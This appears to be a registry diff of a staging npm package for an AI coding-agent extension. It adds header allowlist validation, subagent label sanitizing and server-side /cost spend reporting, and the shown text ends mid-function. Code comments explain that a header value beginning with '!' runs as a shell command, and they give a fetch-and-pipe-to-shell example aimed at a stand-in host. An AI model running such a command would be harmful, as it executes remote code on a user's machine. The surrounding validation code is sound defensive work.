@yagni-app/code-staging 0.1.0-staging.997.1 → 0.2.0-staging.1025.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (64) hide show
  1. package/README.md +58 -9
  2. package/dist/claudeCompat.d.ts +36 -5
  3. package/dist/claudeCompat.js +85 -23
  4. package/dist/claudePlugins.d.ts +109 -0
  5. package/dist/claudePlugins.js +336 -0
  6. package/dist/cli.js +14 -4
  7. package/dist/crashReport.d.ts +135 -0
  8. package/dist/crashReport.js +291 -0
  9. package/dist/doctor.d.ts +21 -0
  10. package/dist/doctor.js +52 -0
  11. package/dist/extension/askAdvisorTool.js +7 -1
  12. package/dist/extension/bless.js +16 -3
  13. package/dist/extension/boostCommand.d.ts +144 -0
  14. package/dist/extension/boostCommand.js +263 -0
  15. package/dist/extension/branding.d.ts +31 -0
  16. package/dist/extension/branding.js +37 -0
  17. package/dist/extension/chipEditor.js +7 -3
  18. package/dist/extension/claudeRules.d.ts +54 -0
  19. package/dist/extension/claudeRules.js +180 -0
  20. package/dist/extension/config.d.ts +61 -0
  21. package/dist/extension/config.js +86 -0
  22. package/dist/extension/costHud.d.ts +128 -15
  23. package/dist/extension/costHud.js +189 -19
  24. package/dist/extension/crashReport.d.ts +89 -0
  25. package/dist/extension/crashReport.js +241 -0
  26. package/dist/extension/index.d.ts +43 -4
  27. package/dist/extension/index.js +241 -32
  28. package/dist/extension/initPass.d.ts +65 -47
  29. package/dist/extension/initPass.js +145 -145
  30. package/dist/extension/mcpTools.d.ts +57 -0
  31. package/dist/extension/mcpTools.js +132 -0
  32. package/dist/extension/pipeline/eval.d.ts +42 -5
  33. package/dist/extension/pipeline/eval.js +44 -0
  34. package/dist/extension/pipeline/goCommand.d.ts +18 -0
  35. package/dist/extension/pipeline/goCommand.js +139 -26
  36. package/dist/extension/pipeline/goCompareCommand.d.ts +18 -8
  37. package/dist/extension/pipeline/goCompareCommand.js +42 -23
  38. package/dist/extension/pipeline/orchestrator.js +9 -0
  39. package/dist/extension/pipeline/runCostTable.d.ts +37 -0
  40. package/dist/extension/pipeline/runCostTable.js +165 -0
  41. package/dist/extension/pipeline/runState.d.ts +19 -0
  42. package/dist/extension/pipeline/runState.js +11 -0
  43. package/dist/extension/pipeline/runner.d.ts +19 -0
  44. package/dist/extension/pipeline/runner.js +13 -1
  45. package/dist/extension/pipeline/scrubSecrets.js +2 -2
  46. package/dist/extension/pipeline/stages.d.ts +3 -1
  47. package/dist/extension/pipeline/stages.js +3 -1
  48. package/dist/extension/pipeline/types.d.ts +7 -4
  49. package/dist/extension/pipeline/verify.js +6 -1
  50. package/dist/extension/pipeline/worktree.js +3 -1
  51. package/dist/extension/provider.d.ts +7 -1
  52. package/dist/extension/provider.js +8 -1
  53. package/dist/extension/recall.js +5 -2
  54. package/dist/extension/rerouteNotice.d.ts +42 -0
  55. package/dist/extension/rerouteNotice.js +67 -0
  56. package/dist/extension/sessionRuns.d.ts +45 -0
  57. package/dist/extension/sessionRuns.js +77 -0
  58. package/dist/extension/subagents.d.ts +17 -7
  59. package/dist/extension/subagents.js +52 -7
  60. package/dist/launch.d.ts +17 -3
  61. package/dist/launch.js +22 -9
  62. package/dist/login.d.ts +7 -0
  63. package/dist/login.js +3 -1
  64. package/package.json +2 -2
@@ -95,6 +95,67 @@ export interface ContextBrief {
95
95
  corrections: number;
96
96
  };
97
97
  }
98
+ /**
99
+ * Attribution headers for the model proxy (YAG-471). On the SERVER side these
100
+ * are labels only: a malformed value is dropped without failing the
101
+ * completion, so this never gates a request there.
102
+ *
103
+ * On the CLIENT side, though, pi itself treats every provider header VALUE as
104
+ * a config template before the request ever leaves the process
105
+ * (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
106
+ * starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
107
+ * reference is interpolated from env and THROWS the whole request if that env
108
+ * var is unset. These four values ride straight from `process.env` — a stray
109
+ * `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
110
+ * `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
111
+ * shape-checked against an allowlist BEFORE it goes anywhere near a header. A
112
+ * value that fails the check is dropped (or, for the caller, replaced with the
113
+ * `driver` default) rather than passed through raw; neither allowed charset
114
+ * (`[a-z0-9:_.-]` for the caller, hex + `-` for a UUID) can ever produce a `$`
115
+ * or a leading `!`, so a value that passes can never trigger pi's template or
116
+ * command resolution.
117
+ *
118
+ * `YAGNI_SESSION_ID` / `YAGNI_RUN_ID` MUST be UUIDs (the server also validates
119
+ * them against `llm_usage.session_id`, a UUID column) — the launcher mints the
120
+ * session id and `/go` threads the tracked run's server-assigned id, both
121
+ * already real UUIDs, so the shape check exists for the untrusted/malformed
122
+ * case, not the happy path. `YAGNI_CALLER` defaults to `driver` (an
123
+ * interactive session with no child/subagent/advisor label) whenever it is
124
+ * absent or fails the caller-label shape check.
125
+ */
126
+ export declare function attributionHeaders(env?: NodeJS.ProcessEnv): Record<string, string>;
127
+ /**
128
+ * Whether THIS process is the interactive driver session, as opposed to a
129
+ * `/go` stage child, a subagent, or an advisor consult. Mirrors
130
+ * {@link attributionHeaders}'s own `x-yagni-caller` resolution exactly (same
131
+ * env var, same shape check, same "driver" fallback) rather than re-deriving
132
+ * it, so the two can never drift: `YAGNI_CALLER` is unset (or fails the
133
+ * caller-label shape check) for the driver, and set to `go:<stage>`,
134
+ * `subagent:<name>`, or `advisor` for everything else (see runner.ts /
135
+ * subagents.ts / askAdvisorTool.ts).
136
+ *
137
+ * branding.ts uses this to gate the delegation-first directive onto the
138
+ * driver's system prompt only: a `/go` stage child has no `subagent` tool, so
139
+ * telling it to delegate is prompt noise at best and a hallucinated tool call
140
+ * at worst.
141
+ */
142
+ export declare function isDriverCaller(env?: NodeJS.ProcessEnv): boolean;
143
+ /**
144
+ * Sanitize a free-form name (a subagent's) into the caller-label charset the
145
+ * model proxy accepts (`/^[a-z0-9][a-z0-9:_.-]{0,63}$/i`, lower-cased
146
+ * server-side): lowercase, replace every disallowed character with `-`, and
147
+ * cap at `maxLength` (default 64, the server's own cap) so a caller can pass a
148
+ * smaller budget to leave room for a prefix like `subagent:`. Falls back to
149
+ * `agent` only when the result is truly empty (a blank/whitespace name) — an
150
+ * all-symbol name instead sanitizes to a run of dashes, which is returned
151
+ * as-is. That means the returned segment can start with `-`, `.`, or `_`, so
152
+ * it is server-valid only when a caller prefixes it with something
153
+ * alphanumeric (as `subagent:` does) to satisfy the leading `[a-z0-9]`
154
+ * requirement; it is not meant to be used as a caller label on its own. The
155
+ * server drops an invalid label silently rather than failing the request, so
156
+ * sanitizing client-side is what keeps the attribution instead of losing it.
157
+ */
158
+ export declare function sanitizeCallerSegment(name: string, maxLength?: number): string;
98
159
  /** Options for {@link fetchContextBrief}. */
99
160
  export interface FetchContextBriefOptions {
100
161
  baseUrl: string;
@@ -87,6 +87,92 @@ export async function fetchCatalog(opts) {
87
87
  const data = (await res.json());
88
88
  return data.models;
89
89
  }
90
+ /** Shape-check for a caller label: mirrors the model proxy's own validation regex. */
91
+ const CALLER_LABEL_RE = /^[a-z0-9][a-z0-9:_.-]{0,63}$/i;
92
+ /** Shape-check for a session/run id: the server requires a UUID (v1-v5). */
93
+ const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
94
+ /**
95
+ * Attribution headers for the model proxy (YAG-471). On the SERVER side these
96
+ * are labels only: a malformed value is dropped without failing the
97
+ * completion, so this never gates a request there.
98
+ *
99
+ * On the CLIENT side, though, pi itself treats every provider header VALUE as
100
+ * a config template before the request ever leaves the process
101
+ * (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
102
+ * starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
103
+ * reference is interpolated from env and THROWS the whole request if that env
104
+ * var is unset. These four values ride straight from `process.env` — a stray
105
+ * `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
106
+ * `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
107
+ * shape-checked against an allowlist BEFORE it goes anywhere near a header. A
108
+ * value that fails the check is dropped (or, for the caller, replaced with the
109
+ * `driver` default) rather than passed through raw; neither allowed charset
110
+ * (`[a-z0-9:_.-]` for the caller, hex + `-` for a UUID) can ever produce a `$`
111
+ * or a leading `!`, so a value that passes can never trigger pi's template or
112
+ * command resolution.
113
+ *
114
+ * `YAGNI_SESSION_ID` / `YAGNI_RUN_ID` MUST be UUIDs (the server also validates
115
+ * them against `llm_usage.session_id`, a UUID column) — the launcher mints the
116
+ * session id and `/go` threads the tracked run's server-assigned id, both
117
+ * already real UUIDs, so the shape check exists for the untrusted/malformed
118
+ * case, not the happy path. `YAGNI_CALLER` defaults to `driver` (an
119
+ * interactive session with no child/subagent/advisor label) whenever it is
120
+ * absent or fails the caller-label shape check.
121
+ */
122
+ export function attributionHeaders(env = process.env) {
123
+ const headers = {};
124
+ const sessionId = env.YAGNI_SESSION_ID ?? "";
125
+ if (UUID_RE.test(sessionId))
126
+ headers["x-yagni-session-id"] = sessionId;
127
+ const runId = env.YAGNI_RUN_ID ?? "";
128
+ if (UUID_RE.test(runId))
129
+ headers["x-yagni-run-id"] = runId;
130
+ const caller = env.YAGNI_CALLER ?? "";
131
+ headers["x-yagni-caller"] = CALLER_LABEL_RE.test(caller) ? caller : "driver";
132
+ if (env.YAGNI_BOOST === "1")
133
+ headers["x-yagni-boost"] = "1";
134
+ return headers;
135
+ }
136
+ /**
137
+ * Whether THIS process is the interactive driver session, as opposed to a
138
+ * `/go` stage child, a subagent, or an advisor consult. Mirrors
139
+ * {@link attributionHeaders}'s own `x-yagni-caller` resolution exactly (same
140
+ * env var, same shape check, same "driver" fallback) rather than re-deriving
141
+ * it, so the two can never drift: `YAGNI_CALLER` is unset (or fails the
142
+ * caller-label shape check) for the driver, and set to `go:<stage>`,
143
+ * `subagent:<name>`, or `advisor` for everything else (see runner.ts /
144
+ * subagents.ts / askAdvisorTool.ts).
145
+ *
146
+ * branding.ts uses this to gate the delegation-first directive onto the
147
+ * driver's system prompt only: a `/go` stage child has no `subagent` tool, so
148
+ * telling it to delegate is prompt noise at best and a hallucinated tool call
149
+ * at worst.
150
+ */
151
+ export function isDriverCaller(env = process.env) {
152
+ const caller = env.YAGNI_CALLER ?? "";
153
+ const effective = CALLER_LABEL_RE.test(caller) ? caller : "driver";
154
+ return effective === "driver";
155
+ }
156
+ /**
157
+ * Sanitize a free-form name (a subagent's) into the caller-label charset the
158
+ * model proxy accepts (`/^[a-z0-9][a-z0-9:_.-]{0,63}$/i`, lower-cased
159
+ * server-side): lowercase, replace every disallowed character with `-`, and
160
+ * cap at `maxLength` (default 64, the server's own cap) so a caller can pass a
161
+ * smaller budget to leave room for a prefix like `subagent:`. Falls back to
162
+ * `agent` only when the result is truly empty (a blank/whitespace name) — an
163
+ * all-symbol name instead sanitizes to a run of dashes, which is returned
164
+ * as-is. That means the returned segment can start with `-`, `.`, or `_`, so
165
+ * it is server-valid only when a caller prefixes it with something
166
+ * alphanumeric (as `subagent:` does) to satisfy the leading `[a-z0-9]`
167
+ * requirement; it is not meant to be used as a caller label on its own. The
168
+ * server drops an invalid label silently rather than failing the request, so
169
+ * sanitizing client-side is what keeps the attribution instead of losing it.
170
+ */
171
+ export function sanitizeCallerSegment(name, maxLength = 64) {
172
+ const cleaned = name.trim().toLowerCase().replace(/[^a-z0-9_.-]/g, "-");
173
+ const trimmed = cleaned.slice(0, Math.max(0, maxLength));
174
+ return trimmed || "agent";
175
+ }
90
176
  /**
91
177
  * Fetch the workspace company brief at startup.
92
178
  *
@@ -12,8 +12,18 @@
12
12
  * (the same shape events.ts already reads off the NDJSON stream). So the
13
13
  * accumulator hangs off `turn_end`, not `after_provider_response`.
14
14
  *
15
- * The accumulator + formatter are PURE; the headroom fetch is injectable and
16
- * fail-soft, so /cost always reports session usage even when the backend is down.
15
+ * YAG-383: the backend now serves `GET /api/yagni-code/spend?sessionId=`, a
16
+ * server-authoritative figure invisible to `turn_end` (subagents and advisor
17
+ * consults bill under this same session id, so a plain `sessionId=` query
18
+ * already sees them). `/go`'s children are the one exception: they bill under
19
+ * their OWN run id (`llm_usage.session_id` holds the run id, not the driver's
20
+ * session id, for a run-attributed dispatch), so the fetch also widens with
21
+ * `&runIds=` for every run this session has launched (see sessionRuns.ts and
22
+ * the goCommand.ts seam that records one as soon as it is known). `/cost`
23
+ * PREFERS that combined number. The local `turn_end` accumulator remains as
24
+ * the fail-soft fallback: it only ever sees the driver's own turns, so
25
+ * whenever it is shown it is explicitly labeled "(local, driver only)" rather
26
+ * than presented as the whole session's spend.
17
27
  */
18
28
  import type { ExtensionAPI } from "@earendil-works/pi-coding-agent";
19
29
  /** A single turn's usage delta, normalized from pi's message.usage shape. */
@@ -42,32 +52,135 @@ export interface Headroom {
42
52
  remaining: number;
43
53
  unit: string;
44
54
  }
55
+ export declare function formatCostLine(snap: CostSnapshot, headroom?: Headroom | null, advisorLine?: string, source?: string, boosted?: boolean): string;
45
56
  /**
46
- * Render the /cost line. Pure, no em-dashes. `headroom` null means it was
47
- * unavailable. `advisorLine` is the ask_advisor subtotal (empty when the session
48
- * never escalated).
57
+ * One row of `GET /api/yagni-code/spend`'s per-caller x rate-tier breakdown.
58
+ * Mirrored locally rather than importing `@yagni/shared`, since this extension
59
+ * has no dependency on the shared package (see `YagniCodeSpendRow` in
60
+ * `packages/shared/src/types.ts` for the canonical, fuller-commented
61
+ * definition this must stay shape-compatible with).
62
+ */
63
+ export interface SpendRow {
64
+ caller: string;
65
+ rateTier: string;
66
+ boost: boolean;
67
+ dispatches: number;
68
+ promptTokens: number;
69
+ completionTokens: number;
70
+ cacheReadTokens: number;
71
+ cacheCreationTokens: number;
72
+ sellMillicents: number;
73
+ counterfactualMillicents: number | null;
74
+ }
75
+ /** `GET /api/yagni-code/spend`'s response shape (mirrors `YagniCodeSpendResponse`). */
76
+ export interface SpendResponse {
77
+ rows: SpendRow[];
78
+ totalSellMillicents: number;
79
+ unbilledSellMillicents: number;
80
+ totalCounterfactualMillicents: number;
81
+ savingsMillicents: number;
82
+ savingsPercent: number | null;
83
+ counterfactualIncomplete: boolean;
84
+ }
85
+ /**
86
+ * Millicents (1/1000 of a cent) -> dollars, 2 decimals. Guards against a
87
+ * malformed response field (NaN/Infinity) rendering as literal "NaN"/"Infinity"
88
+ * in a dollar amount: render $0.00 instead, since a network response is
89
+ * untyped at runtime and every other guard in this module is best-effort.
90
+ *
91
+ * Exported so `/go`'s per-stage cost table (runCostTable.ts, Task 8) reuses
92
+ * this exact money formatting instead of duplicating it.
93
+ */
94
+ export declare const usd: (millicents: number) => string;
95
+ /**
96
+ * Render the server-authoritative /cost lines: PREFERRED over
97
+ * {@link formatCostLine}'s local accumulator whenever the spend fetch succeeds
98
+ * (see `registerCostCommand`'s empty-response guard for the one exception),
99
+ * because it covers children the local accumulator cannot see (subagents,
100
+ * advisor consults, and every /go run this session launched, widened in via
101
+ * `runIds` before the fetch even runs). Pure, no em-dashes, multi-line
102
+ * (joined with "\n").
103
+ *
104
+ * Line order: total spend, one line per rate tier (aggregated across callers,
105
+ * sorted by spend descending), a boosted-spend subtotal per tier that has any
106
+ * boosted rows, a live-toggle boost line (see below), the savings line (only
107
+ * when a counterfactual total resolved), an incomplete-counterfactual note,
108
+ * an unbilled note, a dropped-run-ids note (carry-over from the /cost
109
+ * re-review — see sessionRuns.ts's `droppedSessionRuns`), then headroom.
110
+ *
111
+ * `droppedRunCount` defaults to 0 (no note) so every existing direct caller
112
+ * of this pure function keeps behaving identically without passing it.
49
113
  *
50
- * HONESTY NOTE: this counter can only see the DRIVER session, because it is fed
51
- * by pi's `turn_end`. Work that runs in a child process — every /go stage, and
52
- * every advisor consult — never emits a parent `turn_end`, so it is invisible
53
- * here. The advisor subtotal is threaded in explicitly for exactly that reason.
54
- * /go's spend is still missing; the server-authoritative fix is YAG-383.
114
+ * `boosted` (default false) is the LIVE client-side toggle from
115
+ * `boostCommand.ts`'s `isBoosted()`, threaded in exactly like `advisorLine`
116
+ * is for {@link formatCostLine}. It is independent of the per-tier "Boosted
117
+ * (tier) spend" subtotal above: that subtotal only reflects server rows
118
+ * carrying `x-yagni-boost`, which only `/go` children (and other spawned
119
+ * processes) ever send — the driver's own turns never do (see
120
+ * boostCommand.ts's KNOWN-asymmetry docblock). Without this flag, a session
121
+ * that only chats while boosted would show no boost line at all.
55
122
  */
56
- export declare function formatCostLine(snap: CostSnapshot, headroom?: Headroom | null, advisorLine?: string): string;
123
+ export declare function formatServerCostLines(spend: SpendResponse, headroom?: Headroom | null, droppedRunCount?: number, boosted?: boolean): string;
57
124
  export interface RegisterCostDeps {
58
125
  /** Fetch remaining credit headroom; return null when unavailable. Fail-soft. */
59
126
  fetchHeadroom?: (signal?: AbortSignal) => Promise<Headroom | null>;
60
127
  /**
61
128
  * Render the ask_advisor subtotal for this session, or "" when it never
62
129
  * escalated. Threaded in because advisor consults run in a child process and
63
- * so never reach the `turn_end` accumulator.
130
+ * so never reach the `turn_end` accumulator. Only used in the local fallback
131
+ * line: the server-authoritative line already includes advisor spend as an
132
+ * ordinary caller row.
64
133
  */
65
134
  advisorSubtotal?: () => string;
135
+ /**
136
+ * Whether the session is currently boosted to Peak (boostCommand.ts's
137
+ * `isBoosted()`, threaded in the same way as `advisorSubtotal`). Unlike
138
+ * `advisorSubtotal`, this is read on BOTH the server-authoritative and the
139
+ * local-fallback branch: the driver's own turns never carry a server-side
140
+ * boost marker (see boostCommand.ts's KNOWN-asymmetry docblock), so this is
141
+ * the only signal that would otherwise be missing from the server branch.
142
+ */
143
+ isBoosted?: () => boolean;
144
+ /**
145
+ * Fetch the server-authoritative session spend (YAG-383). Absent, throwing,
146
+ * or resolving null all fall back to the local `turn_end` accumulator, with
147
+ * its source explicitly labeled so it is never mistaken for the full total.
148
+ */
149
+ fetchSpend?: (signal?: AbortSignal) => Promise<SpendResponse | null>;
150
+ /**
151
+ * Quiet diagnostic hook: fired when the server's DRIVER-scoped spend (the
152
+ * `spend.rows` entries with `caller === "driver"` — the same scope the
153
+ * local `turn_end` accumulator can see) and the local accumulator disagree
154
+ * by more than {@link DIVERGENCE_THRESHOLD} (relative to the larger), so
155
+ * long as both are available. NEVER user-facing: the caller decides
156
+ * whether/where to log it. Defaults to a no-op.
157
+ *
158
+ * Carry-over fix from the /cost re-review: this used to compare against
159
+ * `spend.totalSellMillicents`, which (since YAG-383's `runIds` widening)
160
+ * includes every `/go` run this session launched — spend the LOCAL
161
+ * accumulator can never see (every /go stage runs in a child process). That
162
+ * made the two totals disagree by construction on any session with a /go
163
+ * run behind it, firing on effectively every post-run /cost rather than on
164
+ * a genuine drift between the two driver-scoped measurements.
165
+ */
166
+ onDivergence?: (driverServerUsd: number, localUsd: number) => void;
167
+ /**
168
+ * Count of `/go` run ids this session has ever dropped off the
169
+ * `MAX_TRACKED_RUN_IDS` cap (sessionRuns.ts's `droppedSessionRuns`).
170
+ * Carry-over from the /cost re-review: surfaced as an honest "Excludes N
171
+ * earlier /go runs." note on the server-authoritative line so a very
172
+ * long-lived session's total is never silently missing runs. Absent (or
173
+ * returning 0) omits the note entirely.
174
+ */
175
+ droppedSessionRuns?: () => number;
66
176
  }
67
177
  /**
68
- * Wire the turn_end accumulator + the /cost command. /cost reports the session
69
- * totals plus headroom (when the fetch resolves); a failing or absent fetch still
70
- * reports session usage. `/cost reset` zeroes the session counter.
178
+ * Wire the turn_end accumulator + the /cost command. /cost prefers the
179
+ * server-authoritative spend (fetched fresh on every call); a failing, absent,
180
+ * or null-resolving fetch falls back to the local session accumulator, labeled
181
+ * "(local, driver only)" so it is never mistaken for the whole session's spend.
182
+ * `/cost reset` zeroes only the local counter. The server figure is
183
+ * unaffected, and the reset notice says so.
71
184
  */
72
185
  export declare function registerCostCommand(pi: ExtensionAPI, deps?: RegisterCostDeps): void;
73
186
  //# sourceMappingURL=costHud.d.ts.map
@@ -12,8 +12,18 @@
12
12
  * (the same shape events.ts already reads off the NDJSON stream). So the
13
13
  * accumulator hangs off `turn_end`, not `after_provider_response`.
14
14
  *
15
- * The accumulator + formatter are PURE; the headroom fetch is injectable and
16
- * fail-soft, so /cost always reports session usage even when the backend is down.
15
+ * YAG-383: the backend now serves `GET /api/yagni-code/spend?sessionId=`, a
16
+ * server-authoritative figure invisible to `turn_end` (subagents and advisor
17
+ * consults bill under this same session id, so a plain `sessionId=` query
18
+ * already sees them). `/go`'s children are the one exception: they bill under
19
+ * their OWN run id (`llm_usage.session_id` holds the run id, not the driver's
20
+ * session id, for a run-attributed dispatch), so the fetch also widens with
21
+ * `&runIds=` for every run this session has launched (see sessionRuns.ts and
22
+ * the goCommand.ts seam that records one as soon as it is known). `/cost`
23
+ * PREFERS that combined number. The local `turn_end` accumulator remains as
24
+ * the fail-soft fallback: it only ever sees the driver's own turns, so
25
+ * whenever it is shown it is explicitly labeled "(local, driver only)" rather
26
+ * than presented as the whole session's spend.
17
27
  */
18
28
  /** A pure, session-scoped usage accumulator. */
19
29
  export function makeCostAccumulator() {
@@ -55,34 +65,143 @@ const fmt = (n) => n.toLocaleString("en-US");
55
65
  /**
56
66
  * Render the /cost line. Pure, no em-dashes. `headroom` null means it was
57
67
  * unavailable. `advisorLine` is the ask_advisor subtotal (empty when the session
58
- * never escalated).
68
+ * never escalated). `source`, when given, is parenthesized right after "Session
69
+ * usage", used to explicitly label this as the LOCAL, driver-only fallback when
70
+ * the server-authoritative spend fetch is unavailable (see
71
+ * {@link formatServerCostLines}, the preferred path).
59
72
  *
60
73
  * HONESTY NOTE: this counter can only see the DRIVER session, because it is fed
61
74
  * by pi's `turn_end`. Work that runs in a child process — every /go stage, and
62
75
  * every advisor consult — never emits a parent `turn_end`, so it is invisible
63
76
  * here. The advisor subtotal is threaded in explicitly for exactly that reason.
64
- * /go's spend is still missing; the server-authoritative fix is YAG-383.
65
77
  */
66
- export function formatCostLine(snap, headroom, advisorLine) {
78
+ /** The boost-active line appended to /cost, both branches (see boostCommand.ts's docblock for why). */
79
+ const BOOST_LINE = "Boost is on. Driver turns bill at the peak tier.";
80
+ export function formatCostLine(snap, headroom, advisorLine, source, boosted = false) {
67
81
  const turns = `${snap.turns} turn${snap.turns === 1 ? "" : "s"}`;
68
82
  const cached = snap.cacheRead > 0 ? ` (${fmt(snap.cacheRead)} cached)` : "";
69
- const base = `Session usage: ${turns}, ${fmt(snap.input)} in / ${fmt(snap.output)} out tokens${cached}, ` +
83
+ const label = source ? `Session usage (${source})` : "Session usage";
84
+ const base = `${label}: ${turns}, ${fmt(snap.input)} in / ${fmt(snap.output)} out tokens${cached}, ` +
70
85
  `$${snap.cost.toFixed(2)} this session.`;
71
86
  const advisor = advisorLine?.trim() ? ` ${advisorLine.trim()}` : "";
87
+ const boost = boosted ? ` ${BOOST_LINE}` : "";
72
88
  if (headroom)
73
- return `${base}${advisor} Credit headroom: ${headroom.remaining} ${headroom.unit}.`;
89
+ return `${base}${advisor}${boost} Credit headroom: ${headroom.remaining} ${headroom.unit}.`;
74
90
  if (headroom === null)
75
- return `${base}${advisor} Credit headroom unavailable right now.`;
76
- return `${base}${advisor}`;
91
+ return `${base}${advisor}${boost} Credit headroom unavailable right now.`;
92
+ return `${base}${advisor}${boost}`;
77
93
  }
78
94
  /**
79
- * Wire the turn_end accumulator + the /cost command. /cost reports the session
80
- * totals plus headroom (when the fetch resolves); a failing or absent fetch still
81
- * reports session usage. `/cost reset` zeroes the session counter.
95
+ * Millicents (1/1000 of a cent) -> dollars, 2 decimals. Guards against a
96
+ * malformed response field (NaN/Infinity) rendering as literal "NaN"/"Infinity"
97
+ * in a dollar amount: render $0.00 instead, since a network response is
98
+ * untyped at runtime and every other guard in this module is best-effort.
99
+ *
100
+ * Exported so `/go`'s per-stage cost table (runCostTable.ts, Task 8) reuses
101
+ * this exact money formatting instead of duplicating it.
102
+ */
103
+ export const usd = (millicents) => {
104
+ if (!Number.isFinite(millicents))
105
+ return "0.00";
106
+ return (millicents / 100_000).toFixed(2);
107
+ };
108
+ /**
109
+ * Render the server-authoritative /cost lines: PREFERRED over
110
+ * {@link formatCostLine}'s local accumulator whenever the spend fetch succeeds
111
+ * (see `registerCostCommand`'s empty-response guard for the one exception),
112
+ * because it covers children the local accumulator cannot see (subagents,
113
+ * advisor consults, and every /go run this session launched, widened in via
114
+ * `runIds` before the fetch even runs). Pure, no em-dashes, multi-line
115
+ * (joined with "\n").
116
+ *
117
+ * Line order: total spend, one line per rate tier (aggregated across callers,
118
+ * sorted by spend descending), a boosted-spend subtotal per tier that has any
119
+ * boosted rows, a live-toggle boost line (see below), the savings line (only
120
+ * when a counterfactual total resolved), an incomplete-counterfactual note,
121
+ * an unbilled note, a dropped-run-ids note (carry-over from the /cost
122
+ * re-review — see sessionRuns.ts's `droppedSessionRuns`), then headroom.
123
+ *
124
+ * `droppedRunCount` defaults to 0 (no note) so every existing direct caller
125
+ * of this pure function keeps behaving identically without passing it.
126
+ *
127
+ * `boosted` (default false) is the LIVE client-side toggle from
128
+ * `boostCommand.ts`'s `isBoosted()`, threaded in exactly like `advisorLine`
129
+ * is for {@link formatCostLine}. It is independent of the per-tier "Boosted
130
+ * (tier) spend" subtotal above: that subtotal only reflects server rows
131
+ * carrying `x-yagni-boost`, which only `/go` children (and other spawned
132
+ * processes) ever send — the driver's own turns never do (see
133
+ * boostCommand.ts's KNOWN-asymmetry docblock). Without this flag, a session
134
+ * that only chats while boosted would show no boost line at all.
135
+ */
136
+ export function formatServerCostLines(spend, headroom, droppedRunCount = 0, boosted = false) {
137
+ const lines = [`Session spend: $${usd(spend.totalSellMillicents)} (server).`];
138
+ const tierTotals = new Map();
139
+ for (const row of spend.rows) {
140
+ const agg = tierTotals.get(row.rateTier) ?? { sellMillicents: 0, dispatches: 0 };
141
+ agg.sellMillicents += row.sellMillicents;
142
+ agg.dispatches += row.dispatches;
143
+ tierTotals.set(row.rateTier, agg);
144
+ }
145
+ const tiersSorted = [...tierTotals.entries()].sort((a, b) => b[1].sellMillicents - a[1].sellMillicents);
146
+ for (const [tier, agg] of tiersSorted) {
147
+ const calls = `${fmt(agg.dispatches)} call${agg.dispatches === 1 ? "" : "s"}`;
148
+ lines.push(` ${tier}: $${usd(agg.sellMillicents)} over ${calls}.`);
149
+ }
150
+ const boostTotals = new Map();
151
+ for (const row of spend.rows) {
152
+ if (!row.boost)
153
+ continue;
154
+ boostTotals.set(row.rateTier, (boostTotals.get(row.rateTier) ?? 0) + row.sellMillicents);
155
+ }
156
+ if (boostTotals.size > 0) {
157
+ for (const [tier] of tiersSorted) {
158
+ const tierBoosted = boostTotals.get(tier);
159
+ if (tierBoosted === undefined)
160
+ continue;
161
+ lines.push(` Boosted (${tier}) spend: $${usd(tierBoosted)}.`);
162
+ }
163
+ }
164
+ if (boosted) {
165
+ lines.push(BOOST_LINE);
166
+ }
167
+ // typeof guard (not just !== null): a network response is untyped at
168
+ // runtime, and a stray string/boolean here must never sneak "NN%" into the
169
+ // rendered line.
170
+ if (typeof spend.savingsPercent === "number") {
171
+ lines.push(`Saved $${usd(spend.savingsMillicents)} (${spend.savingsPercent}%) vs frontier list prices.`);
172
+ }
173
+ if (spend.counterfactualIncomplete) {
174
+ lines.push("Savings shown for priced tiers only.");
175
+ }
176
+ if (spend.unbilledSellMillicents > 0) {
177
+ // Matches YagniCodeUsageView.tsx's wording for the same figure.
178
+ lines.push(`Includes $${usd(spend.unbilledSellMillicents)} not yet billed (insufficient credits or a billing error).`);
179
+ }
180
+ if (droppedRunCount > 0) {
181
+ lines.push(`Excludes ${fmt(droppedRunCount)} earlier /go run${droppedRunCount === 1 ? "" : "s"}.`);
182
+ }
183
+ if (headroom) {
184
+ lines.push(`Credit headroom: ${headroom.remaining} ${headroom.unit}.`);
185
+ }
186
+ else if (headroom === null) {
187
+ lines.push("Credit headroom unavailable right now.");
188
+ }
189
+ return lines.join("\n");
190
+ }
191
+ /** A server/local total pair diverges enough to be worth a quiet debug note. */
192
+ const DIVERGENCE_THRESHOLD = 0.1; // 10%, relative to the larger of the two
193
+ /**
194
+ * Wire the turn_end accumulator + the /cost command. /cost prefers the
195
+ * server-authoritative spend (fetched fresh on every call); a failing, absent,
196
+ * or null-resolving fetch falls back to the local session accumulator, labeled
197
+ * "(local, driver only)" so it is never mistaken for the whole session's spend.
198
+ * `/cost reset` zeroes only the local counter. The server figure is
199
+ * unaffected, and the reset notice says so.
82
200
  */
83
201
  export function registerCostCommand(pi, deps = {}) {
84
202
  const acc = makeCostAccumulator();
85
203
  const fetchHeadroom = deps.fetchHeadroom;
204
+ const fetchSpend = deps.fetchSpend;
86
205
  pi.on("turn_end", (event) => {
87
206
  try {
88
207
  acc.add(usageFromMessage(event.message));
@@ -96,18 +215,69 @@ export function registerCostCommand(pi, deps = {}) {
96
215
  handler: async (args, ctx) => {
97
216
  if (args.trim().toLowerCase() === "reset") {
98
217
  acc.reset();
99
- if (ctx.hasUI)
100
- ctx.ui.notify("Session usage counter reset.", "info");
218
+ if (ctx.hasUI) {
219
+ ctx.ui.notify("Session usage counter reset. Server totals are unaffected.", "info");
220
+ }
101
221
  return;
102
222
  }
103
- let headroom = undefined;
104
- if (fetchHeadroom) {
223
+ // Run headroom + spend concurrently: two SEQUENTIAL fail-soft fetches
224
+ // would each burn their own timeout on a slow/unreachable backend
225
+ // (worst case double the silence before /cost says anything at all).
226
+ // Promise.all bounds the wait to whichever is slower, not their sum.
227
+ const [headroom, spend] = await Promise.all([
228
+ fetchHeadroom
229
